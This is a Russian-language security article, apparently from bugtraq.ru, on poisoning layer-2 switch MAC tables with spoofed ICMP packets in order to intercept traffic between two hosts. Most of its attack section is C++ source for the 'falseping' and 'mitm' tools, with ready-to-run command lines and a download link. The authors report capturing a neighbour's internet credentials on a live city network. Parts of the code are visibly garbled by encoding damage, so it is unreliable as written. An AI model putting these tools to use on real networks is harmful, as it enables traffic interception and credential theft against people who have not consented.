Ключевые слова:arp, mac, ethernet, flood, security, sniffer, (найти похожие документы)
From: Андрей Вернигора, Андрей Горлов <eosfor@mail.ru.>
Newsgroups: http://bugtraq.ru
Date: Sun, 28 Mar 2006 17:02:14 +0000 (UTC)
Subject: Анализ атак на коммутаторы второго уровня
Оригинал: http://bugtraq.ru/library/security/switchattack.htmlСетевое оборудование
В типичной сети Ethernet одним из основных видов коммуникационного
оборудования являются коммутаторы, по-простому - свичи (switches).
Основной задачей этого оборудования является, грубо говоря,
перенаправление пакетов с одного своего порта, на другой. Это делается
при помощи таблицы коммутации, которая создается и поддерживается
свичем. В таблице хранятся данные о том, на каком порту устройства
находится тот или иной MAC-адрес. Причем ключевым значение в этой
таблице является MAC-адрес, то есть к одному MAC-адресу может быть
привязан только один порт коммутатора. Вот что, частично, представляет
собой таблица свича.
Таблица 1. Часть таблицы коммутации свича
000062-a15e68 1
0000e8-8d574d 1
0000e8-d9eba2 10
0000f0-88be4d 20
000102-1e4d80 1
00016c-c88e2a 1
000244-0f0a2e 1
000244-0f0a31 1
000244-0f0a48 4
000244-303019 1
000244-3adc8c 1
000476-9f4a19 4
000476-9f4a5e 1
0007e9-4a6851 1
0007e9-4a867b 12
0007e9-57d732 1
0007e9-57de2e 1
0007e9-602968 1
Коммутаторы умеют учиться. Они подстраивают свою таблицу коммутации в
зависимости от всяких внешних воздействий. Механизм этого обучения, в
общем случае, достаточно прост. Устройство, получив пакет на
каком-либо порту, исследует поля заголовка Ethernet-кадра, получает из
него адрес отправителя, запоминает порт, по которому пакет пришел, и
добавляет эту запись в таблицу коммутации. В случае, если уже есть
запись для такого MAC-адреса, свич при необходимости меняет
соответствующий ему порт.
Как это работает
Благодаря такому механизму обучения, простые свичи уязвимы к атакам на
таблицу коммутации. Послав некорректный пакет, можно испортить таблицу
коммутатора и заставить его вести себя неправильно. Вот чего можно
добиться этим методом:
Рисунок 1. Простейшая схема атаки
В этом случае "Атакующий" хост может изменить таблицу коммутации
свичей специально сформированным пакетом. При этом "правильный
трафик", направленный с клиента на сервер, можно повернуть так, чтобы
он доставлялся на атакующую машину. В простейшем случае таким пакетом
может являться обыкновенный ICMP запрос. Попросту говоря, ping. Этот
пакет должен быть послан с хоста "Атакующий", но сформирован так, как
будто был послан хостом "Сервер", то есть с указанием MAC-адреса
сервера в поле источника Ethernet-кадра. Тогда все свичи, через
которые пройдет указанный пакет, изменят свою таблицу коммутации на
"неправильную" и станут перенаправлять пакеты атакующему. В результате
такого воздействия можно перехватить трафик между двумя или
несколькими машинами в сети. Иначе говоря, есть возможность прослушать
траффик практически любых машин в свичеваной сети. Но для удачной
реализации необходимо решить некоторые проблемы. Первая, и самая
главная проблема заключается вот в чем. Предположим, необходимо
прослушать трафик между клиентом и сервером. Если атаковать только
одну из этих машин, атакуемые не смогут обмениваться данными, потому
что все, что предназначено второй машине, будет доставляться свичами
атакующему. То есть, если атакованный клиент попытается установить
соединение с сервером, атакующая машина "услышит" эту попытку. Однако
пакеты на установление соединения не дойдут к серверу, и соединение не
будет установлено. Для того, чтобы избежать этого, нужно атаковать оба
направления обмена и перенаправлять трафик между ними "вручную".
Возникает искушение сделать все это на одной машине при помощи
простого приложения. Но это, к сожалению, невозможно, и вот почему.
Подменить клиента для сервера и сервер для клиента на одной атакующей
станции нельзя. Поскольку в этом случае свич, к которому подключен
атакующий, будет отбрасывать пакеты назад. Рассмотрим это на двух
примерах:
Рисунок 2. Атака с одного хоста
Если попытаться подменить для клиента сервер, а для сервера клиент с
одной машины и с одним интерфейсом, таблица коммутации свича, к
которому подключен атакующий будет выглядеть примерно так, как
нарисовано на рисунке слева. То есть и MAC сервера, и MAC клиента
будут находиться на одном и том же порту коммутатора. Поэтому, если
получив пакет, к примеру, от сервера, попытаться перебросить его
клиенту, свич отбросит его назад, согласно своей таблице. Если
попытаться сделать то же самое, используя две сетевые карточки,
получим картину на рисунке справа. Свич все равно будет отбрасывать
пакеты обратно атакующему. Из рассмотреных случаев вытекает следующий
вывод: нужно использовать 2 атакующие машины. Но есть и ограничение.
Никакие три из задействованных MAC-адресов не должны сойтись на одном
свиче. Пример простейшей подходящей конфигурации сети представлен
ниже.
Рисунок 3. Удачный пример атаки
Такая схема позволяет прослушать трафик, которым обмениваются клиент и
сервер между собой. Для ее реализации необходимо выбрать правильные
направления перенаправляющих пакетов. То есть, "Атакующий 2" должен
подменить "Сервер" для "Клиента". "Атакующий 1" - "Клиента" для
"Сервера". После этого атакующие должны передавать пакеты между собой,
для того чтобы установить канал связи между клиентом и сервером. В
случае удачи, запустив сниффер, можно будет увидеть клиент-серверный
обмен.
Реализация атаки
Сразу оговорюсь: Все нижеизложенное предназначено исключительно для
учебных целей. И автор не несёт какой либо ответственности за
последствия применения описанного программного обеспечения.
Реализация состоит из двух консольных приложений - falseping
(генерирует ложные ICMP запросы), и mitm (man in the middle,
маршрутизатор пакетов, идущих от клиента к серверу (или наоборот),
через двух участников атаки). Для отсылки и перехвата ethernet кадров
в обоих приложениях используется библиотека WinpkFilter 3.0.Она
бесплатна для некоммерческого использования, run-time можно взять
здесь: http://www.ntkernel.com/w&p.php?id=7. Полный исходный код
обоих приложений можно взять по адресу:
http://lucifer.com.ua/l2swattack.rar.
Начнем с falseping. Синтаксис вызова такой:
falseping dst_ip dst_mac src_ip src_mac index count delay
Где dst_ip, src_ip - destination и source адреса IP заголовкa, dst_mac
и src_mac - destination и source адреса ethernet заголовка
соответственно. index - индекс интерфейса, с которого будут отсылаться
пакеты. Для получения индекса используется утилита ListAdapters,
которая есть в комплекте WinpkFilter. Далее: count - количество
отправляемых пакетов, delay - задержка в миллисекундах после отправки
каждого пакета.
Немного о программной реализации. Имеется ICMP echo request,
захваченный с помощью сниффера и слегка измененный:
BYTE EchoRequest []=
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x45, 0x00,
0x00, 0x3c, 0xff, 0x46, 0x00, 0x00, 0x81, 0x01, 0xb9, 0x1d, 0xc0, 0xa8, 0x00, 0x0b, 0xc0, 0xa8,
0x00, 0x01, 0x08, 0x00, 0x43, 0x5c, 0x01, 0x00, 0x09, 0x00, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66,
0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76,
0x77, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69
};
Вычисляются адреса заголовков в этом кадре и адрес ICMP data:
// адрес заголовка ethernet
ether_header_ptr etherHeader = reinterpret_cast <ether_header_ptr> (&EchoRequest[[ );]]
// адрес IP хидера
iphdr_ptr ipHeader = reinterpret_cast <iphdr_ptr> ( &EchoRequest[sizeof (ether_header)] );
// адрес ICMP хидера
icmphdr_ptr icmpHeader = reinterpret_cast<icmphdr_ptr>
(reinterpret_cast<PBYTE>(ipHeader) + sizeof(DWORD)*ipHeader->ip_hl);
// адрес ICMP data
BYTE *icmpData = reinterpret_cast(icmpHeader) + sizeof (icmphdr);
Затем, из параметров командной строки заполняются ключевые поля в этих
заголовках и сохраняются остальные параметры:
// получаем параметры командной строки
GetIPAddress(argv, reinterpret_cast<IPAddress*> (&ipHeader->ip_dst));
GetMAC (argv, reinterpret_cast<MAC*> (ðerHeader->h_dest));
GetIPAddress(argv, reinterpret_cast<IPAddress*> (&ipHeader->ip_src));
GetMAC (argv, reinterpret_cast<MAC*> (ðerHeader->h_source));
unsigned int index = atoi (argv) - 1;
unsigned int count = atoi (argv);
unsigned int delay = atoi (argv);
После этого ICMP data заменяется на специальную сигнатуру:
const char ICMPData [] = "bcdefghijklmnopqrstuvwxyzabcdefg"; //32 bytes + zero
//original = "abcdefghijklmnopqrstuvwabcdefghi" in win xp
memcpy (icmpData, ICMPData, 32);
Это нужно для того, чтобы mitm отличал настоящие echo reply от
фальшивых и не перенаправлял их. Далее - пересчет контрольных сумм
ICMP и IP, инициализация запроса для отправки, и наконец основной
цикл:
while (count-- > 0)
{
if (!api.SendPacketToAdapter(&Request))
std::cout<<"SendPacketToAdapter failed.\n";
else cout<<"Packet #"<<packetNum++<<" sent.\n";
::Sleep (delay);
}
Как видите, все довольно просто.
Теперь о mitm. Синтаксис вызова:
mitm index src_mac dst_mac another_attacker_mac fake_mac1 fake_mac2
Где: index - то же самое, что и у falseping, src_mac и dst_mac -
source mac & destination mac пакетов, которые нужно отправлять второму
атакующему, fake_mac1 - замена src_mac перед отправкой второму
атакующему. Служит маркером того, что данный пакет должен быть
отправлен вторым атакующим на сервер. fake_mac2 - маркер пакетов,
которые должны быть отправлены клиенту.
За основу реализации был взят пример PacketSniffer, который
поставляется с WinpkFilter Framework. Получение параметров командной
строки и инициализацию я опускаю, приведу лишь основной цикл перехвата
с комментариями, которые, я надеюсь, помогут во всем разобраться:
// бесконечный цикл прослушивания
for (;;)
{
// ждем появления пакетов в очереди
WaitforSingleObject ( hEvent, INFINITE );
ResetEvent(hEvent);
//пакеты получены. читаем их по одному
while (api.ReadPacket(&Request))
{
if ( (*reinterpret_cast<MAC*>(ðHeader->h_dest[[ )]] == dst_mac) &&
(*reinterpret_cast<MAC*>(ðHeader->h_source[[ )]] == src_mac) )
{
// пакет от ближнего атакуемого (клиента) для дальнего
// атакуемого (сервера)
// проверка на falseping ICMP echo reply
iphdr_ptr ipHeader = reinterpret_cast <iphdr_ptr>
(reinterpret_cast <PBYTE> (ethHeader) +
sizeof (ether_header));
if (ipHeader->ip_p == IPPROTO_ICMP)
{
icmphdr_ptr icmpHeader = reinterpret_cast <icmphdr_ptr>
(reinterpret_cast <PBYTE> (ipHeader)+
ipHeader->ip_hl*4);
if (icmpHeader->type == 0)
// 0 for echo reply message.
// (смотрите RFC 792)
{
BYTE *icmpData =
reinterpret_cast <PBYTE> (icmpHeader) +
sizeof (icmphdr);
if ( memcmp (icmpData, ICMPData, 4) ==0)
continue; // дропаем пакет
}
}
// подменяем адреса на адрес атакующего2 и маркер1, затем отсылаем
// пакет на интерфейс
*reinterpret_cast<MAC*>(ðHeader->h_dest[[ )]] = dst2_mac;
*reinterpret_cast<MAC*>(ðHeader->h_source[[ )]] = fake1_mac;
api.SendPacketToAdapter(&Request);
cout<<"Packet from src_mac to dst_mac relayed to dst2_mac\n";
continue;
}
if ( (*reinterpret_cast<MAC*>(ðHeader->h_dest[[ )]] == my_mac) &&
(*reinterpret_cast<MAC*>(ðHeader->h_source[[ )]] == fake2_mac) )
{
// пакет от атакующего2 с маркером2
// подменяем адреса на адрес ближнего и дальнего атакуемых,
// затем отсылаем
*reinterpret_cast<MAC*>(ðHeader->h_dest[[ )]] = src_mac;
*reinterpret_cast<MAC*>(ðHeader->h_source[[ )]] = dst_mac;
api.SendPacketToAdapter(&Request);
cout<<"Packet from fake2_mac to my_mac relayed to src_mac\n";
continue;
}
// "обычные" пакеты. пропускаем их, не нарушая работу сети
if (PacketBuffer.m_dwDeviceFlags == PACKET_FLAG_ON_SEND)
{
// Place packet on the network interface
api.SendPacketToAdapter(&Request);
cout<<"MSTCP->Adapter\n";
}
else
{
//Indicate packet to MSTCP
if (*reinterpret_cast<MAC*>(ðHeader->h_dest[[ )]] == my_mac)
{
api.SendPacketToMstcp(&Request);
cout<<"Adapter->MSTCP\n";
}
}
}
}
Приведу пример использования всего этого. Допустим имеются Client,
Server, Attacker1, Attacker2. В таблице ниже приведены IP и MAC адреса
всех участников "процесса".
Host IP MAC
Client 192.168.0.100 00-11-12-13-14-15
Server 192.168.0.1 00-21-22-23-24-25
Attacker1 192.168.0.120 00-a1-a2-a3-a4-a5
Attacker2 192.168.0.20 00-b1-b2-b3-b4-b5
Attacker1 находится "ближе" к Client'у (допустим они подключены к
одному свичу), а Attacker2 "ближе" к серверу. В такой ситуации
Attacker1 должен бросать Client'у ложные пакеты с адреса сервера:
falseping 192.168.0.100 00-11-12-13-14-15 192.168.0.1
00-21-22-23-24-25 1 0 1000
А Attacker2 должен бросать пакеты Server'у от имени клиента:
falseping 192.168.0.1 00-21-22-23-24-25 192.168.0.100
00-11-12-13-14-15 1 0 1000
Далее запускаем mitm:
Attacker1:
mitm 1 00-11-12-13-14-15 00-21-22-23-24-25 00-b1-b2-b3-b4-b5
00-f1-f1-f1-f1-f1 00-f2-f2-f2-f2-f2
Attacker2:
mitm 1 00-21-22-23-24-25 00-11-12-13-14-15 00-a1-a2-a3-a4-a5
00-f2-f2-f2-f2-f2 00-f1-f1-f1-f1-f1
Все. Теперь на машине одного из атакующих, или на обоих машинах, можно
запускать сниффер и идти пить чай :)
Мы проверяли эту систему в реальных условиях - в нашей городской сети.
Удалось прослушать траффик между моим соседом, который вызвался
добровольцем :) и http сервером. Итог - перехвачен логин/пароль
доступа к статистике использования интернет-траффика (которые по
совместительству являются логином/паролем для доступа в интернет).
Думаю, комментарии излишни.
Напоследок следует отметить, что эта реализация имеет один
существенный недостаток. А именно - все машины, подключенные к свичам,
через которые проходит false echo request, теряют возможность
нормально общаться с сервером (клиентом). Все, кроме той, адрес
которой имеется в параметрах mitm. Существует более продвинутая версия
mitm, которая избавлена от этого недостатка, но это уже совсем другая
история ;)...